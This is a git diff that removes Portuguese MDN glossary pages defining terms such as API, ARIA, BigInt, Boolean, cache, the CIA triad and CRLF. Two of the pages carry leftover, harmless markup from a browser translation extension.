-<p>Com sites interactivos e padrões web modernos, o Ajax está gradualmente a ser substituído por funções dentro de frameworks JavaScript e do {{domxref("Fetch API")}} Standard oficial.</p>
-
-<section class="Quick_links" id="Quick_Links">
-<ul>
- <li><a href="/en-US/docs/Glossary">MDN Web Docs Glossário</a>:
-
- <ul>
- <li>{{Glossary("XHR_(XMLHttpRequest)","XMLHttpRequest")}}</li>
- </ul>
- </li>
- <li>{{interwiki("wikipedia", "AJAX")}} na Wikipedia</li>
- <li><a href="/pt-PT/docs/Web/Guide/AJAX">Ajax</a></li>
- <li><a href="/pt-PT/docs/Web/Guide/AJAX/Como_começar">Primeiros Passos (Ajax)</a></li>
- <li>{{DOMxRef("XMLHttpRequest")}}</li>
- <li>{{DOMxRef("Fetch API")}}</li>
- <li><a href="/en-US/docs/Web/API/Fetch_API/Using_Fetch">Using Fetch API</a></li>
- <li><a href="http://peoplesofttutorial.com/difference-between-synchronous-and-asynchronous-messaging/">Synchronous vs. Asynchronous Communications</a></li>
-</ul>
-</section>
diff --git a/files/pt-pt/glossary/api/index.html b/files/pt-pt/glossary/api/index.html
deleted file mode 100644
index 06f5d84a1b..0000000000
--- a/files/pt-pt/glossary/api/index.html
+++ /dev/null
@@ -1,11 +0,0 @@
----
-title: API
-slug: Glossary/API
----
-<div class="page-title">
-<h1 class="page-title" id="API">API</h1>
-</div>
-
-<article class="text-content" id="wikiArticle">
-<p>Em <a href="https://pt.wikipedia.org/wiki/Interface_de_programa%C3%A7%C3%A3o_de_aplica%C3%A7%C3%B5es" title="Computer programming">programação de computador</a>, interface de programação de aplicação (<strong>API</strong>) é um conjunto de definições de rotina, protocolos, e ferramentas para a criação de software e aplicações<a class="mw-redirect" href="https://en.wikipedia.org/wiki/Software_applications" title="Software applications">.</a></p>
-</article>
diff --git a/files/pt-pt/glossary/argument/index.html b/files/pt-pt/glossary/argument/index.html
deleted file mode 100644
index f4d102588f..0000000000
--- a/files/pt-pt/glossary/argument/index.html
+++ /dev/null
@@ -1,26 +0,0 @@
----
-title: Argumento
-slug: Glossary/Argument
-tags:
- - CodingScripting
- - Glossary
- - Glossário
- - JavaScript
-translation_of: Glossary/Argument
-original_slug: Glossário/Argumento
----
-<p>Um <em><strong>argument</strong></em> é um {{glossary("value","valor")}} ({{Glossary("primitive","primitivo")}} ou {{Glossary("object","objeto")}}) passado como entrada para uma {{Glossary("function","função")}}.</p>
-
-<h2 id="Saber_mais">Saber mais</h2>
-
-<h3 id="Conhecimento_geral">Conhecimento geral</h3>
-
-<ul>
- <li>{{Interwiki("wikipedia", "Parameter_(computer_programming)", "Diferença entre Parâmetro e Argumento")}} na Wikipédia</li>
-</ul>
-
-<h3 id="Referência_técnica">Referência técnica</h3>
-
-<ul>
- <li>O objeto {{jsxref("Functions/arguments","arguments")}} no {{glossary("JavaScript")}}</li>
-</ul>
diff --git a/files/pt-pt/glossary/aria/index.html b/files/pt-pt/glossary/aria/index.html
deleted file mode 100644
index ae453a4bd7..0000000000
--- a/files/pt-pt/glossary/aria/index.html
+++ /dev/null
@@ -1,18 +0,0 @@
----
-title: ARIA
-slug: Glossary/ARIA
-tags:
- - Acessibilidade
- - Glossário
-translation_of: Glossary/ARIA
-original_slug: Glossário/ARIA
----
-<p><span class="seoSummary"><strong>ARIA</strong> (<em>Accessible Rich {{glossary("Internet")}} Applications</em>) é uma especificação da {{Glossary("W3C")}} para adicionar semântica e outros metadados ao {{Glossary("HTML")}} para atender usuários de tecnologia assistiva.</span></p>
-
-<p>Por exemplo, você pode adicionar o atributo <code>role="alert"</code> ao {{glossary("tag")}} {{HTMLElement("p")}} para notificar um usário com dificuldades de visão que as informações são importantes e sensíveis ao tempo (que você pode transmitir através da cor do texto).</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/Accessibility/ARIA">ARIA </a></li>
-</ul>
diff --git a/files/pt-pt/glossary/bigint/index.html b/files/pt-pt/glossary/bigint/index.html
deleted file mode 100644
index 0fb083825f..0000000000
--- a/files/pt-pt/glossary/bigint/index.html
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: BigInt
-slug: Glossary/BigInt
-tags:
- - BigInt
- - Formato de Precisão Arbitrária
- - Glossário
- - JavaScript
- - Referencia
-translation_of: Glossary/BigInt
-original_slug: Glossário/BigInt
----
-<p>Em {{Glossary("JavaScript")}}, <strong>BigInt </strong>é um tipo de dados numéricos que pode representar inteiros num {{interwiki("wikipedia", "Bignum", "formato de precisão arbitrária")}}. Em outras linguagens de programação podem existir diferentes tipos de dados numéricos, por exemplo: Inteiros, Flutuadores, Duplos, ou Bignums.</p>
diff --git a/files/pt-pt/glossary/block_cipher_mode_of_operation/index.html b/files/pt-pt/glossary/block_cipher_mode_of_operation/index.html
deleted file mode 100644
index a4e8945e2f..0000000000
--- a/files/pt-pt/glossary/block_cipher_mode_of_operation/index.html
+++ /dev/null
@@ -1,14 +0,0 @@
----
-title: Modo de operação de cifra de bloco
-slug: Glossary/Block_cipher_mode_of_operation
-tags:
- - Criptografía
- - Glossário
- - Modo de operação de cifra de bloco
- - Segurança
-translation_of: Glossary/Block_cipher_mode_of_operation
-original_slug: Glossário/Modo_de_operação_de_cifra_de_bloco
----
-<p>Um modo de operação de cifra de bloco, especifica como uma cifra de bloco deve ser usado para encriptar e decrepitar mensagens que são maiores que o bloco.</p>
-
-<p>A maioria de algoritmos de chave simétrica atualmente em uso são cifras de bloco; isto significa que encriptam dados em bloco. O tamanho de cada bloco é fixo e determinado pelo algoritmo; por exemplo, a cifra AES usa blocos de 16-bytes. Cifras de bloco são sempre utilizadas com um modo de operação, que especifica como encriptar mensagens maiores que um bloco. CTR, CBC, e GCM são exemplos de modos de operação que podem ser usados, mas usar um modo de operação incorretamente pode desfazer a segurança criada pela própria cifra.</p>
diff --git a/files/pt-pt/glossary/boolean/index.html b/files/pt-pt/glossary/boolean/index.html
deleted file mode 100644
index 503ac36e8c..0000000000
--- a/files/pt-pt/glossary/boolean/index.html
+++ /dev/null
@@ -1,52 +0,0 @@
----
-title: Booliano
-slug: Glossary/Boolean
-tags:
- - Booleano
- - Booliano
- - Glossário
- - JavaScript
- - Linguagens de Programação
- - Progração Scripting
- - tipos de dados
-translation_of: Glossary/Boolean
-original_slug: Glossário/booliano
----
-<p>Na informática, um <strong>booliano </strong>é um tipo de dados lógico que pode ter apenas os valores <span class="seoSummary"><code>verdadeiro</code> ou <code>falso</code>.</span> Por exemplo, em JavaScript, as condicionais de boolianos são frequentemente utilizadas ​​para decidir quais as secções de código a serem executadas (tal como em <a href="/pt-PT/docs/Web/JavaScript/Reference/Extratos_e_declarações/if...else">declarações <em>if</em></a>) ou repetir (tal como <a href="/pt-PT/docs/Web/JavaScript/Reference/Extratos_e_declarações/for">repetições <em>for</em></a>).</p>
-
-<pre class="brush: js">/* JavaScript if statement */
-if (boolean conditional) {
- // code to execute if the conditional is true
-}
-
-if (boolean conditional) {
- console.log("boolean conditional resolved to true");
-} else {
- console.log("boolean conditional resolved to false");
-}
-
-
-/* JavaScript for loop */
-for (control variable; boolean conditional; counter) {
- // code to execute repeatedly if the conditional is true
-}
-
-for (var i=0; i &lt; 4; i++) {
- console.log("I print only when the boolean conditional is true");
-}
-</pre>
-
-<h2 id="Saiba_mais">Saiba mais</h2>
-
-<h3 id="Conhecimento_geral">Conhecimento geral</h3>
-
-<ul>
- <li>{{Interwiki("wikipedia", "Booleano", "Booleano")}} on Wikipedia</li>
-</ul>
-
-<h3 id="Referência_técnica">Referência técnica</h3>
-
-<ul>
- <li>O objeto global de JavaScript: {{jsxref("Boolean")}}</li>
- <li><a href="/pt-PT/docs/Web/JavaScript/Estruturas_de_dados">Tipos de dados de JavaScript e estruturas de dados</a></li>
-</ul>
diff --git a/files/pt-pt/glossary/browser/index.html b/files/pt-pt/glossary/browser/index.html
deleted file mode 100644
index b9f427dd05..0000000000
--- a/files/pt-pt/glossary/browser/index.html
+++ /dev/null
@@ -1,111 +0,0 @@
----
-title: Navegador
-slug: Glossary/Browser
-tags:
- - Glossário
- - Navegação
-translation_of: Glossary/Browser
-original_slug: Glossário/Navegador
----
-<p>Um navegador da <em>Web é um </em>programa que obtém e exibe páginas a partir da {{Glossary("World Wide Web","Web")}}, e deixa os utilziadores acerem a mais páginas através de {{Glossary("hyperlink","hiperligações")}}.</p>
-
-<h2 id="Saiba_mais">Saiba mais</h2>
-
-<h3 id="Conhecimento_geral">Conhecimento geral</h3>
-
-<ul>
- <li>{{Interwiki("wikipedia", "Navegador da Web")}} na Wikipédia</li>
- <li><a href="http://www.evolutionoftheweb.com/" rel="external">A evolução da Web </a>(inglês)</li>
-</ul>
-
-<h3 id="Transferir_um_navageador">Transferir um navageador</h3>
-
-<ul>
- <li><a href="https://www.mozilla.org/pt-PT/firefox/features/">Mozilla Firefox</a></li>
- <li><a href="https://www.google.pt/intl/pt-PT/chrome/browser/desktop/index.html" rel="external">Google Chrome</a></li>
- <li><a href="https://www.microsoft.com/pt-pt/windows/microsoft-edge" rel="external">Microsoft Edge</a></li>
- <li><a href="http://www.opera.com/pt" rel="external">Opera Browser</a></li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 1; display: none; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/glossary/cache/index.html b/files/pt-pt/glossary/cache/index.html
deleted file mode 100644
index 91eb49d39e..0000000000
--- a/files/pt-pt/glossary/cache/index.html
+++ /dev/null
@@ -1,18 +0,0 @@
----
-title: Cache
-slug: Glossary/Cache
-tags:
- - Glossário
- - HTTP
-translation_of: Glossary/Cache
-original_slug: Glossário/Cache
----
-<p>Um <strong>cache </strong>(web cache or cache HTTP) é um componente que armazena respostas HTTP temporariamente para que para que possa ser utilizado para pedidos HTTP subesequentes, desde que cumpra determinadas condições.</p>
-
-<h2 id="Saiba_Mais">Saiba Mais</h2>
-
-<h3 id="Conhecimento_geral">Conhecimento geral</h3>
-
-<ul>
- <li>{{interwiki("wikipedia", "Web cache")}} no Wikipedia</li>
-</ul>
diff --git a/files/pt-pt/glossary/cia/index.html b/files/pt-pt/glossary/cia/index.html
deleted file mode 100644
index ba97dca690..0000000000
--- a/files/pt-pt/glossary/cia/index.html
+++ /dev/null
@@ -1,18 +0,0 @@
----
-title: CIA
-slug: Glossary/CIA
-tags:
- - Glossário
- - Segurança
-translation_of: Glossary/CIA
-original_slug: Glossário/CIA
----
-<p>A CIA (Confidentiality, Integrity, Availability) (em português Confidencialidade, Integridade, Disponibilidade), também chamada a tríade CIA ou a tríade AIC, é um modelo que orienta as políticas de segurança da informação de uma organização.</p>
-
-<h2 id="Saiba_mais">Saiba mais</h2>
-
-<h3 id="Conhecimento_Geral">Conhecimento Geral</h3>
-
-<ul>
- <li>{{Interwiki("wikipedia", "Segurança_da_informação#Conceitos_de_segurança", "CIA")}} on Wikipedia</li>
-</ul>
diff --git a/files/pt-pt/glossary/compile/index.html b/files/pt-pt/glossary/compile/index.html
deleted file mode 100644
index 8448a81270..0000000000
--- a/files/pt-pt/glossary/compile/index.html
+++ /dev/null
@@ -1,103 +0,0 @@
----
-title: Compilar
-slug: Glossary/Compile
-tags:
- - CodingScripting
- - Glossário
-translation_of: Glossary/Compile
-original_slug: Glossário/Compilar
----
-<p>Compilar é o processo de transformar um programa de computador em uma determinada linguagem de programação para o mesmo programa escrito em outro idioma (normalmente um idioma binário que o computador pode executar).</p>
-
-<h2 id="Saiba_mais">Saiba mais</h2>
-
-<h3 id="Conhecimento_geral">Conhecimento geral</h3>
-
-<ul>
- <li>{{Interwiki("wikipedia", "Compiler")}} na Wikipédia</li>
-</ul>
-
-<h3 id="Recursos_de_aprendizagem">Recursos de aprendizagem</h3>
-
-<ul>
- <li><a href="http://stackoverflow.com/a/1672/133203">Uma lista grande de material de aprendizagem em StackOverflow</a></li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/glossary/crlf/index.html b/files/pt-pt/glossary/crlf/index.html
deleted file mode 100644
index 76de0cb1e8..0000000000
--- a/files/pt-pt/glossary/crlf/index.html
+++ /dev/null
@@ -1,30 +0,0 @@
----
-title: CRLF
-slug: Glossary/CRLF
-tags:
- - CR
- - CRLF
- - Glossário
- - Infraestrutura
- - LF
- - Nova Linha
- - carriage return
-translation_of: Glossary/CRLF
-original_slug: Glossário/CRLF
----
-<p>CR e LF são <a href="https://pt.wikipedia.org/wiki/Caractere_de_controle">caracteres de controlo</a> ou {{interwiki("wikipedia", "bytecode")}} que podem ser utilizados para marcar uma quebra de linha num ficheiro de texto.</p>
-
-<ul>
- <li>CR = <em><strong>Carriage Return</strong></em> (<code>\r</code>, <code>0x0D</code> em hexadecimal, 13 em decimal) — move o cursor para o início da linha, sem avançar para a linha seguinte.</li>
- <li>LF = <strong><em>Line Feed</em> (</strong><code>\n</code>, <code>0x0A</code> em hexadecimal, 10 em decimal<strong>) — </strong>move o cursor para a próxima linha, sem regressar ao início da linha.</li>
-</ul>
-
-<p>O CR imediatamente seguido por um LF (CRLF, <code>\r\n</code>, ou <code>0x0D0A</code>) move o cursor para baixo até à linha seguinte e depois para o início da linha.</p>
-
-<h2 id="Saiba_mais">Saiba mais</h2>
-
